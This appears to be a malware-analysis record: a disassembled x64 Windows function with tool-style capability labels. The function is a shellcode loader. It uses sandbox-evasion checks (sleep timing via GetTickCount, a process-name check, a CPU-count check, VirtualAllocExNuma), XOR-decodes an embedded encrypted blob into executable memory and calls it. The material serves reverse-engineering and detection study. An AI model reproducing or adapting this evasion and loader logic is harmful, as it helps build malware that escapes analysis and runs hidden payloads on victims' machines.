Function at 0x401594
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x130], ecx
mov qword [rbp + 0x138], rdx
call fcn.00401aa0
mov rax, qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
call rax
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rbp + 0xf8], 0
mov ecx, 0x9831e1b
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
je 0x40161e
mov rax, qword [rbp + 0xf8]
mov r8d, 0x9831e1b
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.DLL_GetTickCount]
call rax
mov dword [rbp + 0xf4], eax
mov ecx, 0x6db2
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetTickCount]
call rax
mov dword [rbp + 0xf0], eax
mov eax, dword [rbp + 0xf0]
sub eax, dword [rbp + 0xf4]
cmp eax, 0x6db1
jg 0x401667
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x57398b419
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x110], 0
jmp 0x4016ba
add qword [rbp + 0x118], 1
add qword [rbp + 0x110], 1
mov rax, qword [rbp + 0x110]
cmp rax, qword [rbp + 0xe8]
jl 0x4016aa
mov rax, qword [rbp + 0x118]
cmp rax, qword [rbp + 0xe8]
je 0x4016e4
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x138]
mov rax, qword [rax]
lea rdx, str.l0ky.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x40175e
mov dword [rbp + 0xe4], 0
mov qword [rbp + 0xd8], 0
mov rax, qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
call sub.KERNEL32.DLL_VirtualAllocExNuma
cdqe
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
je 0x40179e
jmp 0x401768
mov ecx, 0
call sub.msvcrt.dll_exit
lea rcx, str.OHYnSwaPbOdl
call fcn.00401540
lea rax, [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xb0]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
jg 0x4017b2
jmp 0x4017a8
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
mov byte [rbp + 0x8f], 0
movabs rax, 0xa1d330e27ebef8ba
movabs rdx, 0xdc5ff6db8f8078dc
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6db589a0615e57b
movabs rdx, 0x9e2f26b5eeb84458
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xbd106f512aae9522
movabs rdx, 0x64e298113e3e7a3f
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x86a36c8fed107f88
movabs rdx, 0x8381761e2d59d678
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x6325285b7508a954
movabs rdx, 0x6393cd81ecc07446
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x7405d02e88ba0cb3
movabs rdx, 0x390d9240686c734b
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x244d31de005b46cc
movabs rdx, 0xebdcd19c0e45d38
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xa3d0f2be73e71c65
movabs rdx, 0xb198c6a4aeb4286a
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x3a47f56f6eb6d7e
movabs rdx, 0x231bd5dc76256323
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x211c3a59149af725
movabs rdx, 0xef8954a45ab694fd
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x33a75a510ffb2577
movabs rdx, 0x4e09612e02182ddc
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xafb6a2f48174dde4
movabs rdx, 0x539b42781795a92
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x82940ac9b65b691a
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x88], 0xf04e665b
mov word [rbp + 0x8c], 0x3f63
mov byte [rbp + 0x8e], 0
mov dword [rbp + 0x10c], 0
mov dword [rbp + 0x108], 0
jmp 0x401999
cmp dword [rbp + 0x10c], 0xce
jne 0x401960
mov dword [rbp + 0x10c], 0
mov eax, dword [rbp + 0x108]
cdqe
movzx edx, byte [rbp + rax + 0x8f]
mov eax, dword [rbp + 0x10c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x108]
cdqe
mov byte [rbp + rax - 0x41], dl
add dword [rbp + 0x10c], 1
add dword [rbp + 0x108], 1
cmp dword [rbp + 0x108], 0
je 0x40194a
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call rax
mov qword [rbp + 0xc8], rax
movzx edx, byte [rbp - 0x41]
mov rax, qword [rbp + 0xc8]
mov byte [rax], dl
mov rax, qword [rbp + 0xc8]
call rax
mov eax, 0
add rsp, 0x1a0
pop rbp
ret